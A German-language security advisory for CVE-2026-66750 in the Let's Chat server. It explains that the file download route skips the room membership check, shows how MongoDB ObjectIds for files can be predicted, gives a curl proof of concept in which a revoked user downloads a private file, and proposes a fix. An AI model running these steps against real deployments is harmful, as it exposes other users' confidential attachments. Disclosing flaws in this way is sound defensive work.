
Security Advisory: Insufficient Access Controls Allow for Unauthorized File Downloads (Let's Chat)
Zugewiesene CVE-ID: CVE-2026-66750
GET /files/:id/:name prüft, dass der Aufrufer angemeldet ist, und stellt dann die Datei bereit. Es wird jedoch nie geprüft, ob der Aufrufer den Raum sehen darf, zu dem die Datei gehört.
Jedes Konto kann daher Anhänge aus privaten und passwortgeschützten Räumen lesen, in denen es kein Mitglied ist. Benutzer, deren Zugriff auf einen Raum widerrufen wurde, behalten funktionierende Download-Links für jede Datei, die hochgeladen wurde, während sie Zugriff hatten.
Der Dateilistungs-Endpunkt im selben Controller prüft die Mitgliedschaft — genau das fehlt dem Download-Endpunkt.
Repository-URL: https://github.com/sdelements/lets-chat
Verwundbar von 0.3.0 (Commit 55e8833, 24. Jan. 2015, „Files backend") bis einschließlich 0.4.8, der letzten Veröffentlichung. Es existiert keine behobene Version.
Private und passwortgeschützte Räume kamen mit 0.4.0, daher besteht die Vertraulichkeitsgrenze, die hier überschritten wird, ab 0.4.0.
Erfordert files.enable: true, was in defaults.yml deaktiviert, in vielen Bereitstellungen jedoch aktiviert ist, da Dateifreigabe ein dokumentiertes Feature ist.
Bestätigt auf 0.4.8 bei Commit 617207f und auf docker.io/sdelements/lets-chat:latest (0.4.7).
CWE-639: Authorization Bypass Through User-Controlled Key. Außerdem CWE-862, Missing Authorization.
CVSS-4.0-Basisscore 5.3 (Mittel)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Der Angreifer benötigt ein gewöhnliches Benutzerkonto, Netzwerkzugriff auf den HTTP-Port und die ObjectId einer Datei. Die Selbstregistrierung ist standardmäßig aktiviert.
Die ID ist in der Praxis kein Geheimnis. Jeder, der jemals Mitglied des Raums war, besitzt sie bereits, denn sowohl files:list als auch die beim Upload gepostete Nachricht upload://files/<id>/<name> geben sie aus. Das Entfernen des Zugriffs macht sie nicht ungültig, und die URL besitzt weder Ablaufdatum noch Signatur.
Ein Angreifer ohne Vorgeschichte im Zielraum muss die ID erraten. Es handelt sich um eine MongoDB-ObjectId, keine UUID, und nur ein sehr kleiner Teil davon ist unvorhersehbar:
6a65092c fa7876 0001 34649e
| | | |
| | | +--- 3 byte counter, increments by one per document
| | +--------- 2 byte process id
| +--------------- 3 byte machine id, fixed for the life of the process
+----------------------- 4 byte Unix timestamp, one second resolution
Alles außer dem Zähler bleibt für die Lebensdauer eines Serverprozesses konstant, und der Zähler ist eine einzige Sequenz, die von allen Collections gemeinsam genutzt wird. Ein Angreifer, der selbst eine Datei hochlädt, erfährt daher die Maschinen-ID, die Prozess-ID und die aktuelle Zählerposition — und jede Datei, die von jemand anderem hochgeladen wurde, liegt nur eine kurze Distanz entfernt in dieser Sequenz. Acht aufeinanderfolgende Uploads auf sdelements/lets-chat:latest:
6a65092c fa7876 0001 34649e
6a65092c fa7876 0001 34649f
6a65092c fa7876 0001 3464a0
6a65092c fa7876 0001 3464a1
6a65092c fa7876 0001 3464a2
6a65092c fa7876 0001 3464a3
6a65092c fa7876 0001 3464a4
6a65092c fa7876 0001 3464a5
Die Download-Route wendet requireLogin an und sonst nichts. app/controllers/files.js:59-92:
app.route('/files/:id/:name')
.all(middlewares.requireLogin)
.get(function(req, res) {
models.file.findById(req.params.id, function(err, file) {
if (err) {
// Error
return res.send(400);
}
if (!file) {
return res.send(404);
}
var isImage = [
'image/jpeg',
'image/png',
'image/gif'
].indexOf(file.type) > -1;
var url = core.files.getUrl(file);
if (settings.provider === 'local') {
res.sendFile(url, {
headers: {
'Content-Type': file.type,
'Content-Disposition': isImage ? 'inline' : 'attachment'
}
});
} else {
res.redirect(url);
}
});
});
file.room wird geladen und danach nie ausgewertet.
Der Listungspfad im selben Feature prüft hingegen die Mitgliedschaft. app/core/files.js:156-175:
Room.findById(options.room, function(err, room) {
...
var opts = {
userId: options.userId,
password: options.password
};
room.canJoin(opts, function(err, canJoin) {
...
if (!canJoin) {
return cb(null, []);
}
Die Anwendung verfügt also bereits über die benötigte Prüfung (Room.canJoin, definiert in app/models/room.js:130); die Download-Route ruft sie lediglich nicht auf.
Erfordert files.enable: true und rooms.private: true (LCB_FILES_ENABLE=true LCB_ROOMS_PRIVATE=true).
BASE=http://localhost:5000
for U in owner insider; do
curl -s -X POST $BASE/account/register \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"email\":\"[email protected]\",
\"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
\"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
curl -s -c $U.txt -X POST $BASE/account/login \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done
# 1. The owner creates a private room and adds the insider. Note the room id.
curl -s -b owner.txt -X POST $BASE/rooms -H 'Content-Type: application/json' \
-d '{"name":"Project","slug":"project","private":true}'
RID=<room id>
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
-d '{"name":"Project","description":"","participants":"insider"}'
# 2. The owner uploads a file. Note the file id.
echo "CONFIDENTIAL-PRODUCT-ROADMAP" > roadmap.png
curl -s -b owner.txt -F "[email protected];type=image/png" $BASE/rooms/$RID/files
FID=<file id>
# 3. The owner revokes the insider.
curl -s -b owner.txt -X PUT $BASE/rooms/$RID -H 'Content-Type: application/json' \
-d '{"name":"Project","description":"","participants":""}'
# 4. The insider is now correctly locked out of the room.
curl -s -b insider.txt "$BASE/files?room=$RID"
curl -s -b insider.txt "$BASE/messages?room=$RID"
# 5. But the file still downloads.
curl -s -b insider.txt "$BASE/files/$FID/roadmap.png"
Dasselbe Ergebnis gilt für ein Konto, das nie Mitglied des Raums war, sofern es die Datei-ID kennt.
Anhänge in privaten und passwortgeschützten Räumen sind für jedes Konto auf dem Server lesbar, das die Datei-ID besitzt oder ableiten kann. Das Entfernen einer Person aus einem privaten Raum oder das Ändern eines Raum-Passworts schneidet ihren Zugriff auf bereits hochgeladene Dateien nicht ab — und das Archivieren des Raums ebenfalls nicht.
Laden Sie den Raum und verwenden Sie die Prüfung erneut, die files:list bereits durchführt. In app/controllers/files.js:62, nach dem if (!file)-Guard:
models.room.findById(file.room, function(err, room) {
if (err || !room) {
return res.sendStatus(404);
}
room.canJoin({ userId: req.user._id, password: req.param('password') },
function(err, canJoin) {
if (err || !canJoin) {
return res.sendStatus(404);
}
// existing sendFile / redirect logic
});
});
Die Rückgabe von 404 statt 403 für eine unbefugte ID vermeidet, zu bestätigen, dass die Datei existiert.